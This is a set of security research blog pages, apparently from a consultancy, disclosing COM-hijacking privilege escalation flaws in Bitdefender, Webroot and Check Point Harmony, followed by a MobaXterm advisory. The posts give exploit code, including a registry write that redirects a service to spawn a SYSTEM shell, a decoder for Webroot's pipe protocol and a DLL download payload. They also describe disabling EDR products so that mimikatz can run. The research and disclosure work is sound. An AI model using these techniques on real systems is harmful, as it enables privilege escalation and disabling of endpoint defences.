Search

The Key to COMpromise – Part 4

Search

The Key to COMpromise – Part 4

February 26, 2025

The Key to COMpromise - Writing to the Registry (again), Part 4

Introduction

In this final part of our series on COM hijacking, we will examine a custom-named pipe IPC protocol implemented by Bitdefender Total Security and detail our approach to reverse engineering it. We will explore how we could use COM hijacking and this custom communication to gain SYSTEM privileges (CVE-2023-6154). Additionally, we will examine how to mitigate the vulnerabilities discussed throughout this series of blog posts. Lastly, we will demonstrate how COM hijacking can be exploited to perform a Denial-of-Service (DoS) attack on security products.

COM Hijacking

Once again, the targeted product accesses the COM interface for the dataexchange.dll upon launching the front-end UI. We hijacked this COM interface as described in part one of this series. After hijacking the COM Interface, a DLL we provided was loaded into a front-end process, allowing us to communicate with the back-end processes out of the context of a trusted process.

Figure 1: Our DLL being loaded into the front-end process

To exploit this primitive, we needed a deeper understanding of the communication between the front and back end. The next section details our reverse engineering process.

Reverse engineering the communication

Similar to other security products we analyzed and exploited, the seccenter.exe (front-end process) communicates with a high-privileged back-end process. However, with Bitdefender, high-level interfaces implemented the communication, so we didn’t have to analyze RPC calls in depth.

During our analysis of the seccenter.exe, we quickly identified the loaded DLL safeelevatedrun.dll, which contains some plugin-like interfaces written in C++. Three intriguing strings caught our attention:

  • CEleveatedOperationsClient
  • CRegistryOperationsClient
  • CFileOperationsClient

The strings seem to reference classes implemented within the safeelevatedrun.dll and provide the high-level interfaces already mentioned for communication with the back-end service.

Alain Rödel and Kolja Grassmann

Consultants

Category
Date
Navigation
Figure 2: Initialization of the CRegistryOperationsClient instance in the safeelevatedrun.dll

The CRegistryOperationsClient class seemed especially interesting, as its name implies it deals with registry operations, which could be a vector to escalate our privileges. Our suspicions were confirmed when we saw the front-end process, seccenter.exe, using the CSecurityCenterApp::SaveRegValue with reference to a Registry operations client class object. This strongly suggested a connection to the CRegistryOperationsClient class mentioned above.

Figure 3: Usage of the registry operations client from the seccenter.exe`

We needed to obtain an instance of this class to interact with CRegistryOperationsClient from within the front-end process. The object was dynamically created via a plugin-like system that passed an internal GUID to a dynamic creation method.

Figure 4: Dynamic plugin instantiation of the CRegistryOperationsClient

Eventually, after some additional (and not so interesting) reverse engineering, we created the following flow to create an instance of the CRegistryOperationsClient class. This class, we hoped, would allow us to interact with the registry. Unrestricted write interaction with the registry would allow us to escalate our privileges.

  1. The seccenter.exe (and the internal safeelevatedrun.dll) dynamically create the CEleveatedOperationsClient and CRegistryOperationsClient objects using an internal GUID.
  2. The newly instantiated CRegistryOperationsClient object exposed an interface for passing a registry_ops structure to the back-end service.
  3. The CSecurityCenterApp::SaveRegValue provides a high-level interface to perform the low-level RPC calls to the service.

Or, more detailed:

Figure 5: Abstract flow of the CRegistryOperationsClient object creation and eventual SaveRegValue call

For our exploit, we needed to reverse engineer the essential fields of the registry_ops structure:

typedef struct {
DWORD hive;
DWORD unknown;
wchar_t key[100];
wchar_t value[100];
DWORD regtype;
wchar_t value2[522];
DWORD value_len_qq;
} registry_ops_t;

One key parameter, DWORD hive, specifies the registry hive where the registry key would be written. To target HKEY_LOCAL_MACHINE, the key’s value had to be set to 0x80000002, as documented in some Windows internals documentation.

The final exploit call was constructed using the dynamically created registry client object and the crafted registry_ops structure.  A simplified implementation of this exploit is provided below:

typedef DWORD_PTR(WINAPI* SaveRegvalue_Orig_t)(__int64 this_ptr, registry_ops_t* a2);
// [...]

registry_ops_t ops = { 0 };
ops.hive = 0x80000002;
ops.unknown = 0xFFFFFFFF;

wcscpy_s(ops.key, 0x64ui64, L"SYSTEM\\CurrentControlSet\\Services\\NetSetupSvc");
wcscpy_s(ops.value, 0x64ui64, L"ImagePath");
wcscpy_s(ops.value2, 0x64ui64, L"C:\\poc\\SpawnSystemShell.exe");
ops.regtype = REG_SZ;
ops.value_len_qq = strlen("C:\\poc\\SpawnSystemShell.exe") * 2 + 1;

SaveRegvalue_Orig_t saveRegValue = (SaveRegvalue_Orig_t)((uint64_t)seccenter + 0x10DCF0);
uint64_t global_reg_handler = (uint64_t)((uint64_t)seccenter + 0x198DC0);

saveRegValue(global_reg_handler, &ops);

Escalating our privileges

After understanding the back-end communication, we could write a registry key without restrictions on its path. We aimed to exploit this capability without requiring an admin login or system restart.

We decided to modify the binary path of a service to point to an executable we controlled.  Although many services could be used for this purpose, most required a system restart. We ultimately chose NetSetupService because it was not started by default, ran as SYSTEM, and could be started by a low-privileged user.

We created a COM DLL that used the above-mentioned functionality to instruct the back end to change this service’s ImagePath to a controlled path. Once the modification was made, we could start the service, which then executed our binary as SYSTEM. Our binary then spawned a cmd.exe process with SYSTEM privileges on our desktop.

Put together, our exploit worked as follows:

  1. We hijacked the COM interface for dataexchange.dll.
  2. We started the front-end UI to trigger the COM interface and load our DLL into the front end.
  3. Our DLL would communicate with the back end and instruct the back end to write to the registry.
  4. The back-end would change the ImagePath for the NetSetupService service.
  5. We place our executable under the new ImagePath and start the service.
  6. Our executable is started as SYSTEM and spawns a cmd.exe process running as SYSTEM on our desktop.

Preventing COM hijacking vulnerabilities

To mitigate COM hijacking as an attack vector for privilege escalation, vendors should refrain from giving special privileges to applications running in low-privileged user contexts. Microsoft does not enforce a security boundary between processes running in the same user context, so the vendor is likely to always play catch-up to new techniques being used to inject into other processes. Products requiring administrator privileges for all critical actions, such as setting exclusions, were found to be more resistant to similar exploits.

Vendors may allow users to trigger certain actions without admin privileges for usability. However, they should implement measures to prevent code injection into these processes. The most effective way to do this would be to make the front-end process a Protected Process Light (PPL). Unfortunately, Microsoft does not support PPL for processes providing a UI, according to Microsoft’s documentation.

Therefore, if special permissions are given to the front-end process, the vendor must try to prevent code injection into this process. Most vendors currently do this by using a filter driver. Another measure is hooking the functions involved in DLL loading to enforce signature verification and an allow list. If implemented correctly, this would help against COM hijacking, as described in our posts. However, these methods require ongoing updates to counter new injection techniques that might allow an attacker to execute code in the trusted front-end process.

Denial of Service via COM Hijacking

During this research, we stumbled upon another interesting question:
We can inject a DLL into a front-end process of an Endpoint Detection and Response (EDR) via COM. Could we do the same for the back end and, thus, potentially create a Denial of Service (DoS) attack against security solutions?

We often struggle with permanently deactivating the security solution in place on a system so that it does not interfere with our tooling.

Note: You do not want to do this on production systems. However, we often use dedicated systems set up just for a project and get wiped afterwards. Deactivating security solutions on specific systems in penetration testing scenarios can be justified, as it increases the efficiency of the pentesters’ work and allows testing of blue team responses.

COM hijacking enabled us to inject a DLL into a central back-end process of the security solution. The most direct approach was to terminate the process upon DLL load, effectively disabling the security software. A more advanced method could involve suspending specific process functions to make the solution appear functional while neutralizing its effectiveness.

So, do the back-end processes even use COM? Some of our targeted products did. We found two EDR products whose back-end processes utilized COM interfaces, which we were able to hijack. For our proof of concept, we terminated the process every time our DLL was loaded by one of the security vendors’ processes. This effectively disabled the security solution and allowed us to execute tools like mimikatz without interference.

As this requires SYSTEM privileges and is only a DoS issue rather than a privilege escalation issue, both vendors we reported this to declined to issue a fix. Thus, this might remain a viable technique for the next time you want to get rid of an EDR and do not need to be too stealthy.

Conclusion

In this final part of the series, we detailed the reverse engineering of a custom IPC protocol and demonstrated how we combined it with COM hijacking to gain SYSTEM privileges. We also explored mitigation techniques to prevent similar vulnerabilities and discussed how COM hijacking can facilitate DoS attacks against security products.

This concludes our series of blog posts on COM hijacking. We hope that you enjoyed reading it and gained some insights from it.

Further blog articles

Command-and-Control

Beacon Object Files for Mythic – Part 3

December 4, 2025 – This is the third post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this final post, we will provide insights into the development of our BOF loader as implemented in our Mythic beacon. We will demonstrate how we used the experimental Mythic Forge to circumvent the dependency on Aggressor Script – a challenge that other C2 frameworks were unable to resolve this easily.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 2

November 27, 2025 – This is the second post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this second post, we will present some concrete BOF implementations to show how they are used in the wild and how powerful they can be.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 1

November 19, 2025 – This is the first post in a series of blog posts on how we implemented support for Beacon Object Files into our own command and control (C2) beacon using the Mythic framework. In this first post, we will take a look at what Beacon Object Files are, how they work and why they are valuable to us.

Author: Leon Schmidt

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 2

January 29, 2025 – In this post, we will delve into how we exploited trust in AVG Internet Security (CVE-2024-6510) to gain elevated privileges.
But before that, the next section will detail how we overcame an allow-listing mechanism that initially disrupted our COM hijacking attempts.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 1

January 15, 2025 – In this series of blog posts, we cover how we could exploit five reputable security products to gain SYSTEM privileges with COM hijacking. If you’ve never heard of this, no worries. We introduce all relevant background information, describe our approach to reverse engineering the products’ internals, and explain how we finally exploited the vulnerabilities. We hope to shed some light on this undervalued attack surface.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 4 – AMSI and ETW

April 30, 2024 – In the last post, we discussed how we can get rid of any hooks placed into our process by an EDR solution. However, there are also other mechanisms provided by Windows, which could help to detect our payload. Two of these are ETW and AMSI.

Author: Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 1 – Basics

February 10, 2024 – This is the first post in a series of posts that will cover the development of a loader for evading AV and EDR solutions.

Author: Kolja Grassmann

Mehr Infos »
Do you want to protect your systems? Feel free to get in touch with us.

Vulnerability in Mobatek MobaXterm (CVE-2025-0714)

Search

Vulnerability in Mobatek MobaXterm (CVE-2025-0714)

MobaXterm is a toolbox for remote computing.

CVE-2025-0714: Insecure storage of sensitive information in MobaXTerm < v25.0

MobaXTerm uses an initialisation vector (IV) consisting only of zero bytes and a master key to encrypt each password individually. In the default configuration, on opening MobaXTerm, the user is prompted for their password. A derivative of the password is used as the master key. As both the master key and the IV are the same for each stored password, the AES CFB ciphertext depends only on the plaintext (the password). The static IV and master key make it easier to obtain sensitive information and to decrypt data when it is stored at rest. Thus, it is possible for an attacker that has access to the encrypted passwords to:

  1. Recognize Password reuse, as the same password is always encrypted to the same ciphertext.
  2. Perform chosen plaintext attacks, if one or multiple passwords can be recovered.
  3. Recognize the prefix of similar passwords if one password is known.

The vulnerability exists in the password storage of Mobateks MobaXterm below version 25.0. The vulnerability was acknowledged and fixed by MobaXterm within a few weeks. We want to thank MobaXterm for their exemplary reaction to the vulnerability report.

We recommend to manually reencrypt all passwords that were encrypted with a vulnerable version of MobaXterm.

CVSS Score
6.5 (CVSS v3.1)

CVSS Vector String
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Affected Version
MobaXTerm below 25.0

Fixed Version
25.0

Credits
cirosec GmbH

Timeline

Do you want to protect your systems? Feel free to get in touch with us.

The Key to COMpromise – Part 3

Search

The Key to COMpromise – Part 3

February 12, 2025

The Key to COMpromise - Downloading a SYSTEM shell, Part 3

Introduction

In the first part of this series, we described how we identified a COM interface used by Trend Micro Apex One (CVE-2024-36302) and hijacked its associated registry key within the HKCU registry hive to execute a replay attack. We again used COM hijacking in the second part of this series. We described how we reversed some RPC communication to abuse an update mechanism provided by AVG Internet Security (CVE-2024-6510).

In this third part of our blog post series, we will cover the details of two additional vulnerabilities we found based on COM hijacking. The first vulnerability impacted Webroot Endpoint Protect (CVE-2023-7241), allowing us to leverage an arbitrary file deletion to gain SYSTEM privileges. In the second case, we targeted Checkpoint Harmony (CVE-2024-24912) and used a file download primitive to gain SYSTEM privileges.

Vulnerability 1: Leveraging file deletion for LPE

For the first vulnerability, the COM interface was triggered whenever a specific file save dialogue was opened in the user interface. For a more comprehensive coverage of COM hijacking, refer to part one of this series.

Upon successfully hijacking the COM interface, our custom DLL was loaded by the front-end process running under our user context:

Figure 1: Our custom DLL being loaded into the frontend process
Alain Rödel and Kolja Grassmann

Consultants

Category
Date
Navigation

Having confirmed that we could execute code in the security product’s front-end process, our next step was to examine the communication between the front and back end.

Reverse engineering the communication

To monitor named pipe communication, we utilized the IO Ninja Monitor. We could see that each time we interacted with the service from the client application, some data was sent over the pipe \ \ . \ pipe\WRSVCPipe. Unfortunately, the data was nonsense, and we couldn’t identify any meaningful strings or commands within this communication:

14:40:36 +53:21.506 Client file opened
File name: \WRSVCPipe
File ID: 0xFFFFAB04BA10ACF0
Process: \Device\HarddiskVolume2\Program Files\Webroot\WRSA.exe
PID: 540

14:40:36 +53:21.506 Server file opened
File name: \WRSVCPipe
File ID: 0xFFFFAB04B3C0B700
Process: \Device\HarddiskVolume2\Program Files\Webroot\WRSA.exe
PID: 1716

14:40:36 +53:21.507 File ID 0xFFFFAB04BA1090D0:

14:40:36 +53:21.507 > 0000 a5 a5 08 a6 09 b9 08 ba 09 bd 08 be 09 b1 08 b2 …………….
> 0010 09 b5 08 b6 09 c9 08 ca 09 cd 08 ce 09 c1 08 c2 …………….
> 0020 09 c5 08 c6 09 d9 08 da 09 dd 08 de 09 d1 08 d2 …………….
> 0030 09 d5 08 d6 09 e9 08 ea 09 ed 08 ee 09 e1 08 e2 …………….
> 0040 09 e5 08 e6 09 f9 08 fa 09 fd 08 fe 09 f1 08 f2 …………….
> 0050 09 f5 08 f6 09 09 08 0a 09 0d 08 0e 09 01 08 02 …………….
> 0060 09 05 08 06 09 19 08 1a 09 1d 08 1e 09 11 08 12 …………….
> 0070 09 15 08 16 09 29 08 2a 09 2d 08 2e 09 21 08 22 …..).*.-…!.”
> 0080 09 25 08 26 09 39 08 3a 09 3d 08 3e 09 31 08 32 .%.&.9.:.=.>.1.2
> 0090 09 35 08 36 09 49 08 4a 09 4d 08 4e 09 41 08 42 .5.6.I.J.M.N.A.B
> 00a0 09 45 08 46 09 59 08 5a 09 5d 08 5e 09 51 08 52 .E.F.Y.Z.].^.Q.R
> 00b0 09 55 08 56 09 69 08 6a 09 6d 08 6e 09 61 08 62 .U.V.i.j.m.n.a.b
[…]

Searching for xrefs in the WRSA.exe client application found many references to the \\.\pipe\WRSVCPipe. We could observe the recurring following pattern:

input_data = HeapAlloc(ProcessHeap, 8u, 0x1E89u);
if ( !v3 )
return 0;
*input_data = 53; // Write first byte? A command?
res = WriteEncryptedNamedPipe((_DWORD *)this, (int)L"\\\\.\\pipe\\WRSVCPipe", input_data, 0x2710u, 0);

The method WriteEncryptedNamedPipe (renamed by us) implemented some kind of XOR encryption to obfuscate the data transmitted via the named pipe:

if ( buf )
{
for ( i = 1; i < 7816; ++i )
*((_BYTE *)buf + i) ^= *((_BYTE *)buf + i - 1) ^ (unsigned __int8)(i - 85);
*(_BYTE *)buf ^= 0xACu;
}

We can see that each byte of the buffer is XORed multiple times, using both static values (e.g., 0xAC) and dynamic values derived from other parts of the buffer. This explained the “encrypted” traffic and allowed us to build scripts for “decrypting” the traffic. To achieve this, we reversed the encryption routine and implemented the following Python script:

def encrypt(buf):
for i in range(1, len(buf)):
buf[i] ^= buf[i-1] ^ (i - 85) & 0xff
buf[0] ^= 0xAC
return buf

def decrypt(buf):
buf[0] ^= 0xAC
i = 7815
while (i > 0):
buf[i] ^= buf[i-1] ^ (i – 85) & 0xff
i -= 1
return buf

While those strings were not that interesting for our use case, we identified a structure in the binary traffic: The first byte looks like a command id!

By decrypting the traffic recorded with IO Ninja, we saw various strings that seemed to be cloud URLs. While these strings were not that interesting for us, we identified a unique structure in the binary traffic: The first byte appeared to function as a command identifier!

> decrypted xxd entry_0100.bin | head -n3
00000000: 5200 0000 0000 0000 0000 0000 0000 0000 R...............
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
> decrypted xxd entry_0101.bin | head -n3
00000000: 3a00 0000 0000 0000 0000 0000 0000 0000 :...............
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
> decrypted xxd entry_0001.bin | head -n3
00000000: 2700 0000 0000 0000 0000 0000 ec2e 3277 '.............2w
00000010: 0000 0000 0000 0000 0000 0000 76dc b394 ............v...
00000020: 0000 0000 a011 9a76 0000 0000 2400 0000 .......v....$...

Trying to reconstruct the binary message format, we discovered a global handler function responsible for processing these commands:

int __stdcall MsgRecv_Callback(int *a1, unsigned int *input_buf, void *a3, int a4, _DWORD *a5)
{
// [...]
if ( !input_buf )
return 7816;
v6 = *input_buf;
// [...]
if ( v6 > 0x64 ) // [1]
{
if ( (int *)off_6A4500 != &off_6A4500 && (v7 & 1) != 0 && *(_BYTE *)(off_6A4500 + 25) >= 4u )
TraceMsg_Wrap(*(_QWORD *)(off_6A4500 + 16), 0x17u, &stru_66D2CC, v6);
return 7816;
}
if ( !cmd_handler_table[v6] )
{
// Invalid function table?
}
// ... more checks
if ( v17 )
{
cmd_id_to_string(*a1, (int)input_buf, v8); // [2]
((void (__thiscall *)(int, int *, unsigned int *, int))cmd_handler_table[v6])(funcs_42CE5D[v6], a1, input_buf, a4); // [3]
}

The handler function performs several actions: In [1], it first checks if the command_id exceeds the valid range (>0x64). If within bounds, it invokes the corresponding handler function for the command_id from the function table (see [3]). Nicely for us, it utilizes the cmd_id_to_string for debugging/ tracing purposes (see [2]), which we can use to identify interesting command IDs:

case 0x36:
v5 = "FLUSH_CONFIGURATION";
goto LABEL_116;
case 0x37:
v5 = "DELETEFILE";
goto LABEL_116;
case 0x38:
v5 = "INSTALL_PACKAGE";
goto LABEL_116;
case 0x39:
v5 = "GET_PACKAGE_STATUS";
goto LABEL_116;
case 0x3A:
v5 = "PERFORM_WALL";
goto LABEL_116;

Among the various command IDs, one particular caught our attention: 0x37 DELETEFILE, so let us look at its implementation:

int __stdcall arbitaryDelete(int *a1, int decrypted_buffer, int a3)
{
WCHAR *v3; // esi

v3 = (WCHAR *)(decrypted_buffer + 8);
if ( DeleteFileW((LPCWSTR)(decrypted_buffer + 8)) )
*(_DWORD *)(decrypted_buffer + 532) = 1;
else
sub_4D7090(*a1, v3);
RemoveDirectoryW(v3);
return 1;
}

As observed in the function table invocation within MsgRecv_Callback, we control the second argument, which corresponds to the decrypted input buffer. By strategically placing a filename at offset 0x08 in the buffer, we could delete any file or directory with SYSTEM privileges!

Exploiting file deletion

We identified the file delete functionality as a potential privilege escalation vector. The file delete command exchanged between the front end and back end was composed as follows:

-------------------------------------------
| opcode| 7x 0-bytes | Filename | 0-bytes |
-------------------------------------------

The first value was the opcode for the file delete operation in our version, 0x37. This was followed by seven zero-bytes and a filename provided as a Unicode string. The overall size of each command was 7816 bytes.

By replicating the previously described obfuscation logic, we could craft and send our own delete commands via the named pipe used for issuing commands.

To leverage the file delete functionality for privilege escalation, we used a publicly available PoC provided by the ZDI. The exploit involves replacing a rollback script used during an MSI installation and performing DLL hijacking to spawn a cmd.exe process as SYSTEM when the on-screen keyboard is opened on the lock screen (more details can be found here).

We ran the exploit with the delete command targeting C:\\Config.msi::$INDEX_ALLOCATION. The following image shows the successful execution:

Figure 2: Successful exploitation of a file delete

Process Monitor confirmed the file deletion:

Figure 3: File deletion visible in Process Monitor

After executing the exploit, pressing CTRL+ALT+DELETE and opening the on-screen keyboard on the lock screen triggered the execution of cmd.exe as SYSTEM. Great:

Figure 4: cmd.exe running as SYSTEM

In summary, our exploit worked as follows:

  • We run the exploit published by ZDI.
  • We hijack the COM interface to trigger the loading of our DLL.
  • Our DLL issues a delete command for C:\\Config.msi::$INDEX_ALLOCATION.
  •  The ZDI PoC places a (malicious) DLL on our system that will be loaded by the on-screen keyboard.
  • Opening the on-screen keyboard on the lock screen spawns cmd.exe as SYSTEM.

Vulnerability 2: Abusing a file download for privilege escalation

For the second vulnerability, we hijacked the dataexchange.dll COM interface. Hijacking the interface, as described in part 1, allowed us to execute code in the front-end process when opening and closing an extended menu point in Check Point Harmony UI. In the following screenshot, the menu point is underlined in red:

Figure 5: Menu point triggering the targeted COM interface

We then needed to find some interesting exposed functionality to leverage this.

Reverse Engineering the communication

Unlike other security products, this client had multiple modules and a strict separation of RPC interfaces. This, conveniently, allowed us to quickly identify an interesting DLL: DeviceAgentAPI.dll. This DLL is imported from other modules, and the API functionality is exposed as PE exports:

Figure 6: RPC exports in the DeviceAgentAPI.dll

Reverse engineering the exported functions, we could indeed confirm that RPC is used: We found references to RpcBindingFromStringBindingW and the actual RPC invocation in NdrClientCall2. We also identified the interface GUID for the client as 2a3ac2b3-43df-471f-b621-f94769c30081.

The function DaRpcDownloadFile quickly caught our eye: File operations in a (potentially) privileged context are always dangerous. To verify its impact, we needed to find the RPC server binding for the GUID 2a3ac2b3-43df-471f-b621-f94769c30081. Using the approach used in the second part of this series, we traced it to cpda.exe, a highly privileged service:

"cpda.exe": {
"2a3ac2b3-43df-471f-b621-f94769c30081": {
"number_of_functions": 10,
"functions_pointers": [
"0x63d3e0",
"0x63d650",
// [...]

Following some nested RPC function tables and C++ vtables, we eventually discovered the Downloader::IDownloader::vftable:

this[11] = &Downloader::IDownloader::`vftable;
// [...]

// Overwrite with new vtable for IDownloader
this[11] = &CDA::vftable;

Other functions linked in the vtable contain strings like CDA::DownloadFile, confirming the correct vtable call:

.rdata:0093A168 ??_7CDA@@6B@_7 dd offset RpcDownloadFileInternal
.rdata:0093A168 ; DATA XREF: sub_4CE7C7+A8
.rdata:0093A168 ; sub_4CF7EC+66
.rdata:0093A16C dd offset sub_508D20
.rdata:0093A170 dd offset sub_508FAB
.rdata:0093A174 dd offset sub_534D15

Inside RpcDownloadFileInternal, the readJSONSafe method processes arguments as one JSON. This explains why the DaRpcDownloadFile only accepts one argument instead of multiple, as one would naturally expect. Although the service code is quite hard to read, the strings like url, localPath and connectTimeoutMs allowed us to guess the structure of the JSON object this method expects.

All left to do was to load the DeviceAgentAPI.dll into the process and call the DaRpcDownloadFile export with the following JSON string:

{"url":"http://127.0.0.1/HID.dll","localPath":"C:/Program Files/Common Files/microsoft shared/ink/HID.DLL"}

Escalating our privileges

We wrote a DLL to import DeviceAgentAPI.dll and call DaRpcDownloadFile with a JSON specifying a local path and a hosted file URL. For convenience, we served the file locally via a Python web server, but we could also use a remote server here.

The file, HID.dll, was placed in C:/Program Files/Common Files/microsoft shared/ink/, allowing to DLL hijack the on-screen keyboard and spawn a CMD as SYSTEM. The source code is available from the ZDI on Github.

Upon triggering the COM hijack to load our DLL, we observed a request on our Python web server:

Figure 7: Webserver hosting HID.dll

Process Monitor confirmed that the COM DLL was loaded into the cptrayUI.exe process …

Figure 8: DLL loaded by the frontend

…and that the `HID.dll` file was placed into the target folder:

Figure 9: HID.dll placed in the target directory

After pressing CTRL+ALT+DELETE and opening the on-screen keyboard on the lock screen, a cmd.exe process running as SYSTEM was spawned, concluding our privilege escalation:

Figure 10: cmd.exe running as SYSTEM

To summarize, our second exploit worked as follows:

  • We host the HID.dll file on a web server.
  • We hijack the COM interface and load our DLL into the trusted front-end process.
  • Our DLL calls DaRpcDownloadFile with the local path C:/Program Files/Common Files/microsoft shared/ink/ and the URL of our web server provided as JSON.
  • The backend downloads the DLL we host on the web server to the indicated location.
  • We go to the lock screen and open the on-screen keyboard.
  • The DLL we placed gets loaded and opens a cmd.exe process running as SYSTEM on the lock screen.

Conclusion

This blog post covered two vulnerabilities we discovered during our research. First, we discussed how we found and abused a file delete primitive in Webroot Endpoint Protect to escalate our privileges. Then, we showed how we found and abused a file download primitive in Checkpoint Harmony.

In the final blog post of this series, we will discuss one last privilege escalation vulnerability we found in Bitdefender Total Security (CVE-2023-6154) and a denial-of-service opportunity that COM hijacking offers.

Further blog articles

Command-and-Control

Beacon Object Files for Mythic – Part 3

December 4, 2025 – This is the third post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this final post, we will provide insights into the development of our BOF loader as implemented in our Mythic beacon. We will demonstrate how we used the experimental Mythic Forge to circumvent the dependency on Aggressor Script – a challenge that other C2 frameworks were unable to resolve this easily.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 2

November 27, 2025 – This is the second post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this second post, we will present some concrete BOF implementations to show how they are used in the wild and how powerful they can be.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 1

November 19, 2025 – This is the first post in a series of blog posts on how we implemented support for Beacon Object Files into our own command and control (C2) beacon using the Mythic framework. In this first post, we will take a look at what Beacon Object Files are, how they work and why they are valuable to us.

Author: Leon Schmidt

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 2

January 29, 2025 – In this post, we will delve into how we exploited trust in AVG Internet Security (CVE-2024-6510) to gain elevated privileges.
But before that, the next section will detail how we overcame an allow-listing mechanism that initially disrupted our COM hijacking attempts.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 1

January 15, 2025 – In this series of blog posts, we cover how we could exploit five reputable security products to gain SYSTEM privileges with COM hijacking. If you’ve never heard of this, no worries. We introduce all relevant background information, describe our approach to reverse engineering the products’ internals, and explain how we finally exploited the vulnerabilities. We hope to shed some light on this undervalued attack surface.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 4 – AMSI and ETW

April 30, 2024 – In the last post, we discussed how we can get rid of any hooks placed into our process by an EDR solution. However, there are also other mechanisms provided by Windows, which could help to detect our payload. Two of these are ETW and AMSI.

Author: Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 1 – Basics

February 10, 2024 – This is the first post in a series of posts that will cover the development of a loader for evading AV and EDR solutions.

Author: Kolja Grassmann

Mehr Infos »
Do you want to protect your systems? Feel free to get in touch with us.
Search
Search